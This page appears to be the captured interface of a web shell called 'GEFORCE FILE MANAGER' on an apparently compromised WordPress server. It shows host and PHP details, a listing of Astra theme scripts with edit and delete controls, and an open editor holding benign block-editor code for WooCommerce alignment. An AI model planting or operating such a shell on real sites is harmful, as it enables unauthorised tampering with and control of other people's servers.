[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
themes
/
astra
/
inc
/
assets
/
js
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 ast-parse-svg.js
232 B
SET
[ EDIT ]
|
[ DEL ]
📄 ast-render-svg.js
852 B
SET
[ EDIT ]
|
[ DEL ]
📄 astra-admin-menu-settings.js
5,222 B
SET
[ EDIT ]
|
[ DEL ]
📄 column-block-compatibility.js
2,747 B
SET
[ EDIT ]
|
[ DEL ]
📄 customizer-preview.js
11,046 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: column-block-compatibility.js
const updatingBlock = ['core/group']; wp.hooks.addFilter( 'blocks.registerBlockType', 'astra/meta/groupLayoutSettings', (settings, name) => { if (!updatingBlock.includes(name)) { return settings; } const newSettings = { ...settings, supports: { ...(settings.supports || {}), layout: { ...(settings.supports.layout || {}), allowEditing: true, allowSwitching: false, allowInheriting: true, }, __experimentalLayout: { ...(settings.supports.__experimentalLayout || {}), allowEditing: true, allowSwitching: false, allowInheriting: true, }, }, }; return newSettings; }, 20 ); // Get the block editor's data module. const { dispatch } = wp.data; // Create a function to set the default align attribute function setWooDefaultAlignments() { const checkoutBlocks = wp.blocks.getBlockTypes().some(block => block.name === 'woocommerce/checkout'); const cartBlocks = wp.blocks.getBlockTypes().some(block => block.name === 'woocommerce/cart'); if ( checkoutBlocks ) { const checkoutBlock = wp.data.select('core/block-editor').getBlocks().find(block => block.name === 'woocommerce/checkout'); if (checkoutBlock && checkoutBlock.attributes.align !== 'none') { const checkoutClientId = checkoutBlock.clientId; const checkoutLocalStorageKey = 'hasCheckoutBlockInserted'; const checkoutLocalStorageData = JSON.parse(localStorage.getItem(checkoutLocalStorageKey)) || {}; if ( ! checkoutLocalStorageData[checkoutClientId] ) { const updatedCheckoutAttributes = { ...checkoutBlock.attributes, align: 'none' }; dispatch('core/block-editor').updateBlockAttributes(checkoutClientId, updatedCheckoutAttributes); checkoutLocalStorageData[checkoutClientId] = true; localStorage.setItem(checkoutLocalStorageKey, JSON.stringify(checkoutLocalStorageData)); } } } if ( cartBlocks ) { const cartBlock = wp.data.select('core/block-editor').getBlocks().find(block => block.name === 'woocommerce/cart'); if (cartBlock && cartBlock.attributes.align !== 'none') { const cartClientId = cartBlock.clientId; const cartLocalStorageKey = 'hasCartBlockInserted'; const cartLocalStorageData = JSON.parse(localStorage.getItem(cartLocalStorageKey)) || {}; if ( ! cartLocalStorageData[cartClientId] ) { const updatedCartAttributes = { ...cartBlock.attributes, align: 'none' }; dispatch('core/block-editor').updateBlockAttributes(cartBlock.clientId, updatedCartAttributes); cartLocalStorageData[cartClientId] = true; localStorage.setItem(cartLocalStorageKey, JSON.stringify(cartLocalStorageData)); } } } } // Listen for the first insertion of a WooCommerce block wp.data.subscribe(() => { setWooDefaultAlignments(); });